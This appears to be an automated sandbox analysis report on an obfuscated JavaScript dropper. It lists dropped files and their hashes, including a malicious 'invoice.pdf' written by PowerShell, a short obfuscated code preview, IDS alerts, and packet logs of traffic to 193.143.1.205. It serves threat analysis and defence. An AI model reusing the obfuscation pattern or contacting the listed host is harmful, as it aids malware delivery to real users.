Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\24a1aa50-c2b9-4617-817b-6cd3ea7bf774.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\524bb8fd-a7b0-4a1d-94b0-5edd7bd44d7f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLgGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A8E5C37206C98D1B655FF994A420FFB6
SHA1:	827237782AB5971EC205C3BCECCC7950BE9F84C3
SHA-256:	F1F755059AF7C2CBC36920337941AEFB18FBDB3CD14D3239CBBBCF0CB8F208EA
SHA-512:	12DE33EB7624458AEC44D83D4E2C09E626F8E54E177FC0C26EEBA232935F34FAAAEB71FBB025EB7C53BEA9933C46ADCE759C32516D1B80C03B6734C61D61CEB2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cef1b030-25a0-42dd-ae1a-47d6d75066fb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yowYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:twZG6b3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	8D04FDC5022E491B91EC6B32F003430B
SHA1:	6619D46E06076B5669D4CC677D6D8F638189E46A
SHA-256:	7682C53053D66EF0B1A89335C88C4420226B10AFAC87A286E6E1A6BC795FEE61
SHA-512:	AA96FA56D3C5C4200BAA917D3091ADB1A5FAE7D534DD9C909D8B60AE13E902D6B71D42C2823319483414987E4B41079FA241B3D0A384EE4B281B63F834917E7D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17096), with CRLF line terminators
Entropy (8bit):	4.924153383650772
TrID:
File name:	705722057165658523.js
File size:	20'764 bytes
MD5:	11cb2429a61cc6aa319ef3b333a5ba62
SHA1:	1c1d7e02b871a9d3104ca152acd8215eb849d515
SHA256:	3b81fb72e19d82e35c293f174d06ac2719b2e415bbe2caa09689970e5ff69d0b
SHA512:	b54b1a26f36db9c3572dfe3fefc5582d971adfde754b872161362607b20e934969fdaf6bca64fa9e787f7e3a13e49e3a1e28a8cbbc089131ed28a42897b8dcb9
SSDEEP:	384:2ZOdfZnnDj4w0OUD4itGd/r4p9UO5aZvaTjZEa:2ZOfZnDj4w0OUDRtGSL5gvaTjZx
TLSH:	2D9284D0E7214D2E9AFD4FE1B5B770CB2F804148C0F758EA08764620D99D9B29AE9D3D
File Content Preview:	function wwddtqoqc(){czmwxccvy=[1031,3079,5127,4103,2055,3072];var xbted=this[fcdnixyfg+qxkzzvo+joxggcbgi+cmlvu+cwuobmkc+mrlvpenj+lvxnaqbv+wxluimmb](this[ekeviivwn+qbsfqomqt+qdyxwb+joxggcbgi+anina+fcdnixyfg+wxluimmb][pegml+joxggcbgi+cwuobmkc+qxkzzvo+wxlui

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:54:12.988886+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T14:54:15.647005+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:54:12.177691936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:12.182598114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.182698965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:12.185318947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:12.190434933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.988801003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.988814116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.988886118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:12.989171028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.989176989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.989187956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.989221096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.989228964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.989232063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:12.989285946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:12.989301920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.989308119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.989341021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:12.989348888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.989415884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:12.993896961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.993953943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:12.993999958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.040227890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.040237904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.040302038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.117444992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.117456913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.117525101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.117535114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.117541075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.117574930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.122165918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.122174978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.122225046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.122304916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.122312069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.122323036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.122353077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.126907110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.126915932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.126974106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.127027035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.127033949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.127039909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.127072096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.131644964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.131653070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.131663084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.131719112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.131742001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.131747961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.131782055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.136363983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.136372089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.136416912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.136446953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.136457920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.136470079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.136497021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.170135021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.209465981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.228698015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.228707075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.228720903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.228880882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.246438980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246452093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246467113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246474028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246550083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.246704102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246710062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246759892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.246893883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246900082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246913910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.246948004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.247308969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.247327089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.247339010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.247383118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.247390032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.247402906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.247437954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.248207092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.248215914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.248229027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.248262882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.248265028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.248270035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.248311043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.249068975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249078035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249089956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249106884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249113083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249125004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.249155045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.249866962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249905109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249912024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249934912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.249970913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249977112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.249980927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.250020981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.250721931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.250761986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.250771046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.250817060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.250827074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.250833035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.250880003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.251579046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.251626015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.251631975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.251666069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.251681089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.251687050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.251697063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.251729965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.252479076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.252527952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.252578020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.257388115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.257414103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.257426023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.257505894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.316154003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.316164017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.316272974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.357135057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.357156992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.357167959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.357176065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.357219934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.357225895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.357281923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.357367039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.374830961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.374849081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.374897003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.374932051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.374984026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.374989033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375000954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375006914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375037909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.375094891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.375264883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375324965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375335932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375343084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375377893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375382900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375389099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.375437975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.375519037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375567913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375608921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375621080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.375648022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375653982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375658989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.375698090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375700951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.375813961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375858068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375868082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375910997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.375951052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375957012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.375969887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376004934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376015902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376162052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376210928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376229048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376235008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376286030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376312017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376317978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376329899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376360893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376396894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376539946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376580954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376591921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376640081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.376688957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376693964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376704931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.376712084 CET	80	49730	193.143.1.205	192.168.2.4
